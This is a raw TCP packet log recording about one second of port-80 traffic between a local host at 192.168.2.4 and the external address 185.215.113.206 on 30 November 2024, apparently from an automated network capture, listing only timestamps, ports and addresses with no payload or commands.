Nov 30, 2024 09:44:24.985418081 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.986881971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.986895084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.986937046 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.989898920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.989918947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.989929914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.989943981 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.989969015 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.991460085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.991471052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.991511106 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.992957115 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.992993116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.993021011 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.993047953 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.994497061 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.994508982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.994544029 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.996023893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.996072054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.997551918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.997562885 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.997598886 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.999074936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.999084949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.999093056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:24.999119997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:24.999140024 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.042934895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.043059111 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.043579102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.043632984 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.044290066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.044301987 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.044342041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.045672894 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.045686007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.045720100 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.045748949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.046979904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.047030926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.092350006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.092509985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.092542887 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.092586040 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.092751026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.092797041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.093442917 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.093489885 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.094255924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.094265938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.094305038 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.095551968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.095601082 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.096180916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.096226931 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.096889973 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.096900940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.096940041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.098265886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.098275900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.098314047 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.099642038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.099651098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.099689007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.099718094 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.101026058 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.101036072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.101078033 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.102427006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.102437973 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.102477074 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.102498055 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.103763103 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.103771925 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.103809118 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.105278969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.105293989 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.105328083 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.105355024 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.106803894 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.106815100 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.106852055 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.108345985 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.108356953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.108396053 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.109838009 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.109849930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.109859943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.109886885 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.109909058 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.111377954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.111390114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.111424923 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.111435890 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.112894058 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.112905025 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.112943888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.114389896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.114412069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.114435911 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.114464998 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.115932941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.115945101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.115952969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.115982056 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.116008997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.117475986 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.117486954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.117527962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.118973970 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.118987083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.119023085 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.119050980 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.120485067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.120522976 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.120532036 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.120563984 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.122035980 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.122046947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.122087002 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.123584986 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.123595953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.123605967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.123626947 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.123647928 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.125062943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.125072956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.125112057 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.126616001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.126626968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.126667976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.128057003 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.128118992 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.163538933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.163594961 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.163814068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.163861990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.164002895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.164047003 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.164716959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.164762020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.165411949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.165422916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.165462971 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.166734934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.166784048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.167490959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.167503119 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.167531967 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.167547941 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.168798923 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.168843985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.169575930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.169585943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.169624090 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.170875072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.170883894 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.170914888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.170933962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.172362089 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.172372103 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.172415972 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.173696041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.173706055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.173747063 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.174990892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.175004959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.175029039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.175064087 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.176367998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.176378965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.176419020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.177984953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.177995920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.178031921 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.179394007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.179405928 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.179440975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.179465055 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.180993080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.181005001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.181046963 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.182442904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.182454109 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.182463884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.182488918 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.182506084 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.183985949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.183996916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.184036016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.185493946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.185504913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.185543060 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.187055111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.187071085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.187108994 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.188563108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.188575029 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.188579082 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.188623905 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.190069914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.190080881 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.190115929 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.190141916 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.191598892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.191610098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.191643000 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.193137884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.193152905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.193196058 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.194637060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.194648027 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.194685936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.244167089 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.244242907 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.244524956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.244580030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.245225906 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.245299101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.246002913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.246057987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.246618986 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.246629000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.246668100 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.247935057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.247986078 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.293797970 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.293855906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.294380903 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.294431925 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.295079947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.295089960 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.295125008 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.296489000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.296538115 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.297159910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.297208071 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.297844887 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.297854900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.297902107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.299192905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.299202919 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.299247980 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.300584078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.300600052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.300643921 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.300678015 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.302076101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.302087069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.302125931 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.303307056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.303322077 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.303355932 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.303384066 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.304673910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.304683924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.304729939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.306226015 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.306236982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.306276083 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.307717085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.307728052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.307765007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.309257030 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.309269905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.309310913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.310772896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.310784101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.310792923 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.310825109 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.310844898 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.312299967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.312310934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.312352896 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.313813925 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.313826084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.313864946 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.315342903 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.315355062 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.315397978 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.316831112 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.316849947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.316858053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.316878080 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.316910982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.318396091 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.318412066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.318442106 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.318469048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.319905043 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.319916010 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.319952011 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.319969893 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.321413994 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.321424961 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.321461916 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.322952032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.322962999 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.322999001 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.324462891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.324475050 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.324485064 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.324510098 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.324534893 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.325990915 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.326001883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.326042891 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.327514887 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.327526093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.327564001 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.329036951 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.329047918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.329056978 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.329088926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.329106092 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.365454912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.365500927 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.365731955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.365777016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.366406918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.366450071 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.367124081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.367168903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.367824078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.367835045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.367885113 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.367894888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.369160891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.369204044 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.369631052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.369673014 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.370333910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.370345116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.370383978 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.371865034 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.371907949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:25.372375011 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:25.372385979 CET	80	49749	185.215.113.206	192.168.2.4
